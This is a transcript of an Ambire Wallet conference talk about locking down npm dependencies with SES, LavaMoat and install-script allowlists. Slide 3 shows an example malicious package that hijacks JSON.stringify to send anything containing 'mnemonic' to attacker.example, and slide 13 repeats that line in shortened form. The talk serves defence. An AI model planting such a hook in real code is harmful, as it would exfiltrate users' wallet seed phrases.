Your npm dependencies can see everything | How we lock them down with SES + LavaMoat | Ambire Wallet

Your npm dependencies can see everything | How we lock them down with SES + LavaMoat | Ambire Wallet

• 1.
  Your npm deps cansee everything 👀 Here’s how we lock them down! ETH Belgrade 2026
• 2.
  Reviewed 184 deps, shipped2,409!
• 3.
  Attack vector // dep-of-a-dep-of-a-dep· v4.2.1 · published 6h ago const original = JSON.stringify JSON.stringify = function (v) { if (String(v).includes('mnemonic')) fetch('https://attacker.example', { method: 'POST', body: v }) return original.apply(this, arguments) }
• 4.
  ● Every depruns with your app's full authority 👀 ● import is not a permission, it's a merge ● npm has no way to say “this package can't use fetch” 󰤇 Why it works?
• 5.
  Defence?
• 6.
  SES + LavaMoat ●SES does a lockdown: freezes the built-ins = JSON.stringify becomes read-only for everybody ● LavaMoat adds a policy on top of SES's compartments = every package gets its own scope, sees only the globals you listed for it SES freezes ❄ the shared built-ins. LavaMoat gives each package its own room with a specific set of keys 🛡
• 7.
  What a compartmentactually is with (scopeProxy) { ...module code... } Every package gets its own scope . It sees only the globals you listed for it. Everything else is undefined .
• 8.
  The policy isjust a list "viem": { "globals": { "fetch": true, "Request": true, "setTimeout": true, … }, "packages": { "viem>ox": true, "viem>isows": true, … } } "viem>ox": { "globals": { "crypto.getRandomValues": true, "crypto.subtle.importKey": true, "document.title": true // … 3 more, all property-level } }
• 9.
  A package withalmost nothing "gridplus-sdk>bignumber.js": { "globals": { "crypto": true, "define": true } } This library does math on your money. It can’t make a network request. Inside its compartment fetch is undefined .
• 10.
  Our real policy >
• 13.
  Now kill theattack from slide 2! const original = JSON.stringify JSON.stringify = function (v) { fetch('https://attacker.example' ... } // ← ✗ SES: JSON is frozen. TypeError! // ← ✗ Policy: fetch is undefined!
• 14.
  The install-time attack isa different beast
• 15.
  On your laptop/ on the CI Postinstall hooks via @lavamoat/allow-scripts 🛡 { "name": "some-build-tool", "version": "2.1.4", "scripts": { "postinstall": "node ./lib/setup.js" } }
• 16.
  Install scripts policy "lavamoat":{ "allowScripts": { "$root$": false, "@sentry/cli": true, "secp256k1": false, "@trezor/connect>@trezor/transport>usb": false, ...22 entries total } } Install scripts need their own allowlist.
• 17.
  Gotcha #1: exceptions constLAVAMOAT_UNSAFE_ENTRIES = new Set([ 'ambire-inpage', 'ethereum-inpage', 'content-script', 'content-script-ambire-injection', 'content-script-ethereum-injection' ]) Some parts can’t be sandboxed.
• 18.
  Gotcha #2: performance {"packages": ["react-fast-compare"] } The with(scopeProxy) wrapper stops the JIT from optimizing hot code. react-fast-compare is a deep-equality helper on a very hot path. It touches no sensitive capability, so we took it out of the sandbox.
• 19.
  What LavaMoat and SES can’tguard
• 20.
  A compromised packagethat is already on the signing path can still lie to you 😢 If it swaps the recipient address, LavaMoat won't care - it never needed a new capability. That threat needs a different control. No perfect security
• 21.
  2 things youcan do on Monday
• 22.
  Less than 1dof work 1) block your install scripts npm i -D @lavamoat/allow-scripts 2) Age-gate your deps Don't install versions published yesterday.
• 23.
  Your npm depscan see everything 👀 Here’s how we lock them down! Reach out to: @0xSuperKalo kalo@ambire.com No time for q? 👀